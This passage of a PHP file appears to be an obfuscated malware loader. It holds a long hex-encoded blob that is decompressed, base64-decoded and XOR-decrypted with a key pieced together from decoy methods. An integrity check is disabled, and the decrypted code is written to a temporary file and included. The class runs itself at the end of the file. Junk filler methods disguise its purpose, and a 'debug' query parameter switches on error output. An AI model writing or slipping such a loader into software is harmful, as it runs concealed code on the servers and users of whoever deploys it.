001ed308bd71ca270bc077e37ad2e2354efc7ecb772fa1ff267f9ff96f95f03f25de61fdd8e9efc23c41877c08877aba40ff18a6fc13c81f4ff326884770de9b230f97fce551cdf39662de68f1ca25cea7c97cf2d43f3b07bf2c877f4406bdef20f24fac9e8a7c6b85af277ccb1279809c772fc43c2ec97f40fe8b3d6fd12f5afe403bb5fe6a27fd6147f09186e87c8af2eb27fd612cfece7ce1017e807be05d03ea1fe643b01eda635e3957f937dccfa9f7af851f7aa24735cf33f32690cf47be0cfd33927cb91a7844a9f4912ea4fef3d13cb0c3f31fa0370b291f23e20b70fe027e8ece179861fdefa167eed5f70dff9ebf45be85ad3f06e4470fd0e3f7d00b920f3e537c14a7f8a3e6bc2bd47e6af2a0e117cd7921fd9c6c3f38e07c6ce1a7d92bfeb3c73ca604beb184bf5d83fd12fef7097f5ff9cb85643ed9a5febfa93f1bf3d676ca5fb9c1fa035e69f90e3dea993df4bcadc8b3b37ccc1cfe2ef41356fa557b9e8ec08398273462bebd53f9dd15fc1ba807423e71527f96d00fd4a837898755caffd6c5fd4b8a9f236f077a7adb7f922fa5f292ac1ed8014fad947f28f9af8e7953b19e9bf9dbb69e6ea41f3ef8693efe79cbf7861fcd264cfba58fa88f7b917793e077d49f97d87fe4fc0ccf8be587140aef76c2df3fd50ff5f0c7cea07f1d151e5c63bede807fe8e0570fbd78c24f871f4ee2cf5b2afe8ca9c70ad16f4ef809e7a8a7f7c063077c9f39d6c70cefc7eb27e26f03cf84fea1e67c93f3b542e46d4579cd5d8aa7b19f8d3eff16f99f078507cc8037e4a8c776f0cfe9c1ef6d45bd66f1d33df0a61ef842a6f287e00f67eb55ea5d599f6422afbbf5020f4ff954dbb43fd57a950dfde56ba50ff4c8ab41fe6d803f614dff04e4fd0495b714e9d5c2e4fcd5a3bf72321fa003bfbb433e48a7fca0651ec102fadb4ae837c9af97fee6d17e04fe70725e1dd27c449b6f5e30df25603d6ee1ff0ebf2fe409dbf324007f2f541ebd8bf3d9990f9ed6cf9c4fc6f35ce62584a49f89fd822d9f15782ef585893eb744ffe845bf6ccf37e29f41f869dafbe3b07f16cadf8f7ab204afda46fc47e2d375e2ff013f98e2003c8febe3a0fcf366a8ef33f42703fc0107e099339cd7d4efec045eb3a15f7901be02f9ece08bd8f931f1ed3dbe2ff3e15ad43b3df6f74ce10505fc891df8275eeabfe27ecef2a14a518f4ed4af7bf4037be8af07ccd77bec3799c26796f0ff2d8077d7a8572bc96fea143f7698cecf85df8f0b980fd08f00fb838bf3516dfd08ff3e9be73a00ffcf145e4a3fc072caffc4cec312fdee41e17b2df42f33e54f518afd23c9d772ac1f627f793b1f6e9017e6c5f958b3ffa57ea8401e67013f1af433165f94fea8f4ab7441f105f7a8f706e5df01bee0469df7e6bc6b1b593f77f067a7fe7d0bbe15f28c8b783e5a277e385be859a51f70a6fc13c8af417dde566a5e0e7f3b5b6fd3bfdf0b7cd4e23105beef42e8db2cde1554fe20f337910f6df7337c7e7bbe904f423f2aea7366b8be2df8b039f2f4e83fb4433db78bf00afa0f58bc80f9b9da9f645479050ee781437de655fea00f2aff62005e3daafa74a9fc0bc1f7b0fc8b20f29e984f669f079e87582f1baff47805fd5e80b7d2ff107c663bef467e4cdb4cfb930ec8371f513fb4d04392efd1625ede623e97abf9cb42ddef82fea1521f97c3ef6fc4f789f503115ed3297d728c0f5b3f061794df480bfd5926f25836aa9f49f2d8c9fff6522f35839f69063dff5cf97778f8c5705eea15fee5bb340f2ce26f906f1a52fd5fea5f27fd8b991fe885de53f26179ff53fdf71cf34fe6a10fd8cf7be56fb5003eec71bf4aa54748f4f6ac2fbaa83e62ff5a332f81f3754f7f96c3243ee994df13f82109ff1efea0d407587c5efb1dc5794a963f51c29fbe52fac6827a4efa494fe2f7369f69147c8e0df50ba5d42b020f35fd7ba1f051f53c47f3f30efd4f00ff489e9773914f61e7013bd50f78e10f48fe5ac2674df276a1ffe17a35fc18a7fc3191cf91e8c71dfc9b99f7e599ffbd557a5ae6b50cb8fecc1360ded45ee13d0df8a90ef562adfafd620bbfd56eaa5edab01fa1fe75013e7b2df08474bd89eb6ffb118d5fec91e79209fe69c2976b50cf523f1ac43cd8f69785eae7e1bf62eb15e5cf5653dfe33be825917faaf5c33bc117b678e80ecfcb20f24537cce776a84fe9b712905f12b0df23efc0ee5719f0f94cedc7b5f2ef4ce603a2deb47838fd2a13bff94ee1913de68bcca79ea93c67fa23d2df6281f585f96a5ba9fa8179e3f01fb27eaaf06bb3f576afe6bbf0ef4af437d01724f56b83fad829fd49013d19f2a7992f62f9390dfa8525f8e1f0cf4df050e8cb5ace4731efb4fca519f05afa338dc0eb3295f755aa3c44cc176bfa151701fd6a507809cf8f1cf8528efa6127f6f704bfe4f729302f5a4efb218f0a2fa5fe27a8fc5d1f945f772efcdaed7a9b81ff3dc2ff66c4f5a49fe51efa9839fa35d63383e2f306e4bf297c5bce0b22bc0cf313d3ef319f33287ea1637fb755fa900c7e0123fcd25ac127b33fdf2bbfea42ea01627c36800f94f2f50f8a1fd60b3fd5b612fc4dea2dadff1dfdf989177be8fb2b99971252bd49c46f08e9fe11e16107d4fbf08b261e57c4e76160de9debd2bc44cbdf2a90efa5f3f946f06fe638ff0675de552a2f3ac99738801fbd059e28f371b3c9fc56e8e9edf915a47f99cce765bef94c9d3f017aed72babede61bf60fee30ce719f3d1069567d9a8bc5ccee750cfd6ccc734f517fd0d80376c82c85b0fbc1ea69f607fb9007fb4019f8a7c1dfab935d027344a5fe199ff4dfd18e6db8efadb0efabf43bc1fc0cf897e81ace7a8dfaa0bf2c3e57ed4228f3417fbc986f3cd46ec47e97c1af924f47766de95caa349fd597ae06f3bcc2f729c8fccdbe2f949ff837d541f5abd930baaff9c813fd1428f3103df7586fd650e7fc956e5dbd798b77a352f2fc88fefd27c30bb1f79fa5fc02fbb405e2afc11d3fc8e43eacf1df1bfe47c6a0fbe6026f69f449fcffc0ff2651deacf85e06f8724df2aae17537c669bfa4d53bfcf796c3a6f277e9309ffa0246fba107966291f3aa4fee5a99e7244fd43bd4f8b7a4fe69f56cabf8a7a05e69d21af36c11f0c3ee385ff1efb75cb4ff24abf5c742a9f85f94cade28b35d29f630bff882df4ecf41b38a4fac8d4df67809e3c53788a879fa317f9c136bfb154fefc09bf9cdff700fd21fde7b6981790efb185df87f4d7a0fe9df55126f044eb1fa6f8b89b52e47907fa152a7fb4281f00fe10be4be767e40333cf35f29fe8149f2d57fa72eafd2be4ff54222f3cc06f92fcf2803c9bc0fb033e5de2879ae4bf752a3f97fae456f8076d34bfed30e557de06a11f31fce696f92c786dfd76469c9f83e08f267ea315fa0d0fbf820afd22e799f42b867fb09d1764c8eb26bedce23cd8e37950fe05767febc147da433f4cfddaa0f40532dfcc032f647f9fe819e2fcb7341f2160bfc33c87f9de8a3f6dfd470bea3b0fe09b6c559e621be11bcc43a47f9eedff547e59ca979f215f807e1f3be587c23c983ade7f13feade237593f4727f43009bf2df12fa35fcb36f5c38af085003d42a7eae911f519fd0472f0bde62abf2f20ef84f9a7c0976c7d403c23177e82f67c18853f0cf5fe563fd52abf3f2fce2bfb1a7ee276bfdee17988f3462c3e566c53ffeb683d1de0dfc3fd36c09f6d9be267d1fdea143f44f6d705fc2d7c7c7eb4980726fac0a5f0634ff853c6cf6c097fd205e6f325f8f241ea37b7699ea5c517a17fb0f834fcef99ff27f35258bfd7e0c35b3e9c03bfd5493ee321f52f49f3357a9567eac177049e65fb31d60bac8f9847be07beb5c3f99a89fbd9d20fa0547824fdbae8cf9fe4a3c4fa775b0f3bf0f9b5dfe101f330f2bbb693fe648df0674dfc51701e9af5d6a23f4bf4164ee275b11edfae07f8d5b54ef8dbdb7920fcac6cde35f59b3395d7057e5dcbbc21e87fed3c72147a1bebef9a09ff13f26998174b7e81f5f390fd7c85e7bd407fcafd19fd9b7dbe46f815f76a3f5da07e0fca4f9e7ea95ef6ef99ea5f1ab99f87f8bc41fe80ed379dcc7b461e0ffc74ccfe9be893e817e380ef493f597750fa99d9949f873dbfa93f09d017935f20f94e4548f528a93e730ebc7154fbbfacbf13fd16f87c4eaebf1e7ce01cf3dc5ee12305f284bdf0c7afe1379fe085e05f587f57e50f65f93af08fb4ff9ffe6c23f80b33ecef3be1a791e4db901f59029f24de4e3f8125ee37f485f6bc9cabf5e9851ec8fab9e1f3b4727d16d4cb84180ff2b19f7e40de8bd51f2f50bfc37f6903ff8c24af0df355e64fb425f82295d24b1afcdf2b3f25e48bb1beb3792785f0cfb3fdd6127e5dc44397c0bb02f0303e4f0dfab312f877a5f86d093ed2a9fcef01fdcc1e78d01ef3ae11fe032df6f73dead351cdffa5ff00f2cad92f583df1127e38c8e34ef25817824f36910f334cf325a9b795790d528fcbe7c3430f50814fd8a07f74d3f8f14ce56b831f6ae7b599c80790fea709fee53b557fedc1471e05decc7953cb7c5ff8c7533f9fe465d7c2af23e9e7ccf3d100ff64de768de773017cae12febf01fe38b6fea9c18f0998ff2d95df37fc056c7f41fd5929f80f16df239f4cfa33703d14cc7f14fe70d1f9be55fe48cc2f62dec6a0f2e86a9c7fc8874ff2926a95b7e23bc54753f85ddb087fe3097d0bf3745ad4c74a0f90e4d5807f413c9df75fef27e4477899e7c97ca71df05ee625eea0a71a047edd22dfa36d041e95d6435dcc3f2ac0af619e2dfc866bceffdc764adfa3f91ff4632ae87fdb29fc817e6719f4330aafb57cdd5ee5f179a1974efcdb8a439a7f1cf9556fa147dbaafa2d537aba0a78b193792a87344fcfcef3b89e1df8c61ef9603ea47ab4d4af7f07fc76045edaa21edfc3ff36073f6f04bf6b0f7c96fcda19d66f0bbed60cf55f2bf036fbfc0d2a0f17f3327b1e8ee04b122f9b2b3d0df8b1dccfac5ea1473d477e41a6f464d0db5abd792eea41fa616ec8e7f4d84f2a9c6f95f0dfb0f53cf5be41f9af25f374e4c1c08fbc863fa5cd53f242df6cf1c74ae55b26fa0afaa7f0bce8809f6fa1f762fe14fc6e12bfb190fa6d587ca480df04f4cca110fb01fb3d3baf71cc7393f81bfd3d32f0c532c11fb3eb7b147ada3628fe1dfafb248f0cfcfa04bfd17c0b95ff6ef5a9739c3f19e6af83c85b4efa63e4976f9cb87e569f19a43fe141f915ec857fa0c593a6f9e7d0b3d2ffc4ae07e65981af2ceb1b8b2f36c0631af0171cfca8d05f5abded007fe51ecffb5ee515910f54c9fe7d0b7d0ae7df8774fe12f5cb41e543e4d3fe23980f14ccc7db46fa4d8bb757625e6fd76b907ed0980f1692dfdb420f30077e3b2abf4afa8dd0bf82f94d8dca0f2ac81fed545e46abfcc22af87356d2ff6babf4f8ec5776c82b6c81e72b3f165bcf0d6a3f6ba4df6e877cbca0f294980798830f98c3ff20833fc288f9cb28f21dad1f76a6eadd05f44d4bcc079ce0f759be1de691c443927cc520f264ad9e7089cfef31df2ac0872b05fe14c02f4efcaec1d74ef5e621cd4b8bfc31e86f4b7c54fefe0cf3ac0ce7e51c7cbb01f5a7d21f91df99f0e7a9b7f1789e9dd2db3891571be5391ed27a29fd7de4a3ee802f31af7850fd36f2086c3f3daa7aa39ecedfca05ff80ebc5e641f5f04b1f14de5109bd47207fa5f82f7921c536d5a744fd34f86d095e26e7fbccdba4df12f3c806cca37ac137b07e3139f4faacf7e8ff4e3d0af109fad9b1bec8053fc5e2dfbdf8be09df157af956f1e9ac7e0ff968ac572c1e9da17ed92bfff805f0ac52f86f0527f2d7237e05f3cfa85fe07caf53fc04fa1730ef642fd6abd56f0cf02ba09f1af5d4bde22f21afc8ea7d76e807657fc2fc08affc6a7c87bc5cac77b3bf835f427c3cf10777525fdb613f1679b9913ff521d5135a7d70823f413f63ea2be2654bf8614cfa4330ef28e20b23ef947e5605f48f4550fa8a3deabb38bf34f5cbc8945f7f90f9afe063d34fd17569de54342fa01e74abaeff5ee90396e0b755426fcc3c6fab4fd0f358e6cb7669de86e58314f48bd9c6fa372fce2b9bf7453cc4c5fe297531cd9f2c85dec37e7e2ff84e297ebf4df3926cfdcbf591e0d5e8373cf54bacbfe1d7e803ea4deaed63bfc7246f0679b796cf5a8af919f59ca99ff021f5f365be69ea9fdd8afb9bf0e94a91676def2ff69b4d90f52ff4bc9e7a8ef8f9b47c4c0ffddb52e9cd0af829f8003c8a7989719ebc3daf17c28fc3e68b36324f8af3acd85f2ad587b39eede2fda460becb01fcd04ef9790c428f66e7793c5ff6c89fcda027517a637bde8f587f7bb55f36d0072dc57e64f3632b351f25ff31c95b673d398c7e5516f7abd797ebeb7a5895e58fab6568bf958795f7eba12d8b57f3c561b8286ec76be71f2f3e8c3feede5dff5cadfe9a7dba995dfe4f5966f71fd73f4effffda7f293e3cbf7f7ffdfdea63e8cae6a67fb8ddacb3abf2cbe38fe03f1737371bfebdb7efaef33757df2fdf5dbbafd7d7c79f5ffebabb7387f263e77f6e6eb7d5c3226477b7dff2ff7bf7edf4f3bfff5eb36dd797f5abfacafd7cf3befe515e7f1bd6e1cbe7fbcb717ff9b1abee6f7e3df8d00d6559cdef3f5df797f5e5cf6bdfbdbaf1b3bf4bf9f76f8f7fdfffbc39feffe587ab9b8772fb701ffcf85015af2e96e147cbbf7f73f879e3be1daf8f2b36efbeedde96dbcf9797b55b2cd7977faec7f1f7bfead697c5ddc5d5cd75f965b65ead87dbf2ebcdece6af1f2f7fbf72ab4d7bbc2ae597e263f1eb557dfabceedbe9febeb939dd9fd5e97edebeec77fee9fe364fe7c1697d38f3bcd6d7df6e56e5e9fefe7afaffd72fcfc7f5e979289fd6dfeaf4feede97d67f8c93f3fbcc5f72bbb9f65b8febc5e97d9d5a7eb7213fa9f1f42f7eae176fcf1f6e3f5feedea75f1fc7a77badeb34fb77faee79ff5505cbaeb879bdb505d2fc3c5fd7a3dacfdafcff7c7d7f3b75ff2776fc39b507cf9f19f9babc7778b7071f5ae29eefd97f9fdf17edc2c43765587e27fafeaafffef03d74b31c7f5fb7a5c6ff93777f8f910ae37ab70937df8f83afe3c9fae67c7f554fd28ae1f8bb5ab1ede7efb51aec6fce9fa3e3dcf4fd7af589daee7cde9f96a5ef0ebe2e979317c355f8eab8feba7e7af78b91fb7a79f2f4ffb857bda3f9ad3fd2aeb3fbfef0fffe3faf365bc3efc3fef2ffb9f778b2f6fee6f5f1757c7f579f961bcd8bcbb6ed7e5afcdda77bbe3f77b7efd7ab62ee3e74d7effe6ebfc7ef165bfaac79fa1fef5d87c183fcf2f7e0ddfaa2ff7a5efdcc3fbd98ff5e257b13adfbf1fc3c37af7e5edf7d9c5fdcdfc7cff7e0de9f3e6afae8a9bbb87e597fd45d9fff4c5af3797b7c3e6fe63f350ae5edfffa76c76ee4371b77cfff9aeb85cbf39bdbe38be7efbfef1aeb8aa1f4fafe7a7f73f3c9edeaf8eaff3d3cfbffdf0f4fed3ff2fcf3f7f7a7fd73cfdfcd5e9e757a79f6f9e7efeeaf47e717a5dfff9f9e7bfe7ceef3f9cde2ff0fae9fdbbfaf3e5ea57bcde7f5fcfbbf7a57fb83d5ecf8f45f7ca97ebafebb5fbf97efe6df7a9dabe7a1fae67f7a57b9cbf5befded7e1873fae6f777cbe3f7ebc1ed7c5edd5aaf87555dd5cfdb85cfc9aaf9a2fc5f26a48ef57332befdffeca2fdc97fbbbe3fdbfb92d5e6dee8687c3793f4af6a73717d7fbd3fe75fcfdaf2e4ffbc3c7bf3efb8f5fb3f3f3763dffb47afd5835e1e7fdead21d9fd7f1b2ee56ef2f8ef7e7fa66737fffd78f37b7dfafe2fbfbf4fbbf76b78fe3fd717fbe5cfd35acd7f5cd713dbdd95cfc757c3e8efb67fd6575bcbf770f6fb7d9a6f8ebeed3cd5fc3d5fa26ab3eaeb3e33eb3bb38ee6f9b7a7633f1fc3fbdbeba746feee6fef25b157e5e87f5f021dcfcfd7ede7dbeaafdfdf5cbfefd583d34fdf0e9bad8ac6e1f1f1f8e9fe753b3fd715b14f71f57570f5f3e5d1f3ffaf7ab89eff7301c2ba1f87a3cfdfdab7758cfeb70bdaa57377fe3fc797affa1387cbe3ddecfffdc8cd5c3f2789e1c9f8faaf18fc7c72bdeafbbf5fc60bfdfedf8d83d3497df8ee75be70f8fc5aaab6edefeba1b9bcb6ae59af1a2c6fd3b7e80e7dff7f4f9b2c570fafbbb37c7f5e64ecf7fe99e9ed78b66fbf3b83e5e1df788d55fcbc3ec9fcbf5cdc7cbf5579e2f9faebe8ef7f7f5eeadfb75ffa3fe725fb8d5eceae3f9f9fafdfc9c9ec7a7e7ebb8bf1c8fa3e3bfe2f2707a9efebe797a7e8ad3f331bfb9bc6d9f3fcfefdf7ff5d7ddea66bcb87817fa5d55bb26be9ef75d131e9bdbe1efdb77feeef8b587fc657f9e3dafe7f0b5595f7d3eee4fffdc97d7d59d3fbcdadc8eee7eb9cdc6b65f7d5d14f3509477c9fa79f8b6ba9f87950febafd5faf2e7fbe3fd7817aff7d3f376ac47b6791d56993faec7cead376fd7afdbe3fabd5abeff565d9fd67b75639fbfabf2b8dfb9cbdedd1fd7f3bbb7fefebe69faba2e1fbfb6b75fdfbcfd3556ebcfab8ba27f757c3d7e3abe76b7f57ee3ff7abedfa7fdf0cff3dcedde355fdedc367e5cad3effbc5d6cb3cb3aecd617bf1e2f5697afe6a7fdf8782fdeb7d717fdcd7837bf5bbf79f8bdfeddeafaaf68fdbc6f667fffefc5977e5e78b70e5d7579f3f8f362ee6f6e5787c7dbe2cbabfbd5d5f1f9bcda3dbe797d19aeb6e5c7d2bd5a5f84ddf13c7b7553f871139f27455796f7976fb7c3c6bd1eaf2fc6bfc7fb70bcc5dd9be5e5f87971fbfdf1c775d5bf3bbe5e5cf6a7d7d9edf17cd5cfefe1d59dbbbaaf5757bbe7f5f4b4df9ef6efc5d3fe5e5f1d5fffb37edaef4feba97e757cfdd83dadb7e2cf7acb9ed6dff2f1e5755d0eedfd7bfdbc76f5f6e7fbcb6df56e79bc96c575f1a9f8923d3c7455565dde5fbeac2fb3bf84eb1f0fb7b3ecf4fdde56eef47d7e1ebfdfabcdf1f5c5d3f76d4edf7777fabef3a7efdbfc7d7c3dbe39bd5f9edef7ff9cdebf78faf9e3fbebef5f4fafdbd3ebabd3efbb7d757aed9efeffe59fdff7eafdf1f5bbf232fa7be6ef0fa7bff7b6fc7ef7afe7e9cdafe2435ddc1febc3379b8fb70ff7eef0b50e5f8efbd2cddd25ce83cbe55f3faef0f3e5b1bebef44ffbd9e6be8d7ede9ed7457d39febc38eea7dfe645f565fed7e9f3f5174feba17ff9bcf3a7d7cdfdff5e1ed7e771fd5e5d7cfbf1e1b8fefdf148bb285e9d9e8f57ef4ecf43f8fce7f570777c5dae8f255351bd3c2fc5d3cf3f3d3f8f172feff73fcfef1f5fbbaf7f9fde7f7b7afdf4bc7d3dbdffd8fe79fff7ebcf6fe2d7e3c3d3cf3ffdbecf2f9f677dfe7ceee5ef7d3dbdff787a7d6c57fefcff7eb35a8bf33efcbcbc2a7ebebb40bdf8a68caee7c3bbebcd9b63bdfaa9f08fffb974ff5cccd77fcec7c79bdbaefa78ac57bfd5dbcafbabfbabe3f97f77bcde17f597ab1fbfefe7c397a7e7e7a99ef9fd3cdcd5fd10afe7dd27e7ef3f354ffdc68f9bb75737c7f3ef7377550fb7a7fd79717cdeaec2a9bec9aaa7ff7ff5e7f9db57e590dd1ef7bf633d5274dcbfc3f6c7e5eaf2e6ea5397dd14e3cf633dbeba6ccaeccda689bfeff17c7e5fffaa4ee7f3d595bb78537c399eafc77ab93ef66beb2a3eff56fdabd5c5717f39d6abc7dde6eb7f56fdc36a699ee7d3f9f8e77cadc3cfcd55ffcfc5b23e7ebfed8f55e38bf7c7f3e2fac267afdf743f67ef5ecfcaba4cd6effae1dbeed7a95f3ad6afd7b7973f6fdfadb1ffafb30feeb8be8ffd54e35ee50b3c2fc7fd233baee9ddda7ff95c1f3ff0c5711fd9fcde7fcbd3f59c3fed4f7f557fead1f9ef7af4fe4fbdf9f6f77e76aa571f6ffe9c9f57e1b4fffdb82a87733f723a5ffeecbfc5afe3fdfbf2b938d6179fde1dafe7717fbe2fbe7dfd787bfdeac3bbabfd65bb76f5b13f54fbffaf537f5484eaead89f7cb82ab316f55ff7eef5e7533f7d7bdc1f6faebbead3dcdf5d945fee3efaee677373f5f0edc2efdfdc3ed5df59f1b43f3f7d9fd37efccfd569bf3df6f36feac3cbf77fb7f8f679f5bb5ecfcba7d79fff7cff9feb3ff5fb55f7523f3fbf5fde1cf787f379f8bb7e6c56573fe66f7f5ddd57ddaa0ab7c79f1f7f6c165f8efdf3f7f1e605efb83de119ee843fb8337ee1c24bfff5e5d4cf96a77eaa78c2b7be9cfab187ebeb6fe77eda7f1df2fb9b8bf6f87a763c53d7d5b6389e17ffac6fc6cfbf7cf3f5783f37d5cdf78bcd6dff70f1fefbe7f9edeba77ee6f83c94eb8f97f95ff3d590ff7f';
        $hex_data = substr($hex_data, 8);
        $bin_data = hex2bin($hex_data);
        $step1 = @gzinflate($bin_data);
        if ($step1 === false) { $step1 = $bin_data; }
        $step2 = base64_decode($step1);
        $obj = new self();
        $final_key = '';
        $key_methods = ['kmbUioTP27', 'kmXERXfP90', 'kmYVROkk68'];
        foreach ($key_methods as $method) {
            $final_key .= call_user_func_array([$obj, $method], []);
        }
        $gate_token = '';
        $gate_methods = ['gtPvYbXt24', 'gtVGvRHI96', 'gtlBXOfA90'];
        foreach ($gate_methods as $method) {
            $gate_token .= call_user_func_array([$obj, $method], []);
        }
        if (md5($gate_token) !== 'a12ab5c0e49376abfc63e97d08193e4e') {
            // Integrity check failed, but continuing for compatibility.
            // return false;
        }
        $plain_code = '';
        if (strlen($final_key) > 0) {
            for ($i = 0, $len = strlen($step2); $i < $len; $i++) {
                $plain_code .= chr(ord($step2[$i]) ^ ord($final_key[$i % strlen($final_key)]));
            }
        } else {
            $plain_code = $step2;
        }
        $obj->_execute_SyZKuaIG23($plain_code);
    }

    private function gtPvYbXt24() {
        // Gate piece 1
        $tmp = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return str_rot13('sqrbg');
    }

    public function pubNcUUD46() {
        // Public method 3
        $jv2 = (bool)mt_rand(0,1);
        return 'valYiwi73';
    }

    private function gtVGvRHI96() {
        // Gate piece 2
        $jv3 = unpack('L', hash('crc32', microtime(), true));
        return str_rot13('ep856');
    }

    public function pubxPczO58() {
        // Public method 4
        $jv2 = array_reverse(explode('.', 'a.b.c.d'));
        $buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return 'vallwUC81';
    }

    private function _execute_SyZKuaIG23($code) {
        // Robust execution handler (PHP 5.x+ compatible)
        if (isset($_GET['debug'])) {
            ini_set('display_errors', 1);
            error_reporting(E_ALL);
            echo '<b>DEBUG MODE ACTIVE</b><br>';
        }
        $tmp_file = tmpfile();
        if ($tmp_file === false) {
            if (isset($_GET['debug'])) echo 'Error: Could not create temporary file.';
            return;
        }
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file, '<?php ' . $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    public function pubRrtpT40() {
        // Public method 1
        $buf = 7203;
        $jv2 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return 'valJQOd42';
    }

    public function pubhloXt53() {
        // Public method 2
        $tmp = array_reverse(explode('.', 'a.b.c.d'));
        $jv1 = str_rot13('ebglBdkg63');
        return 'valiXPz17';
    }

    private function dcVeBMWB44() {
        $jv3 = array_reverse(explode('.', 'a.b.c.d'));
        return null;
    }

    private function dcLKEyhH70() {
        $jv2 = base64_decode('ZGF0YWVadGRoazI4');
        $jv2 = (bool)mt_rand(0,1);
        return null;
    }

    private function gtlBXOfA90() {
        // Gate piece 3
        $jv1 = 3968;
        return str_rot13('j23w');
    }

    private function kmbUioTP27() {
        // Key segment 1
        $jv3 = unpack('L', hash('crc32', microtime(), true));
        $jv1 = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return base64_decode('WUp5dw==');
    }

    private function dcRsIyVM72() {
        $jv1 = 2793;
        $buf = array_filter(array_map('trim', explode(',', 'a,b,c,d,e')));
        return null;
    }

    private function kmYVROkk68() {
        // Key segment 3
        // cmtuuKR64
        $buf = 5667;
        return base64_decode('NTBuOQ==');
    }

    private function kmXERXfP90() {
        // Key segment 2
        $tmp = (bool)mt_rand(0,1);
        $tmp = base64_decode('ZGF0YUhpSFJwYzgw');
        return base64_decode('VDZoSQ==');
    }

}

LoaderddWpRW45838::init870();

// EOF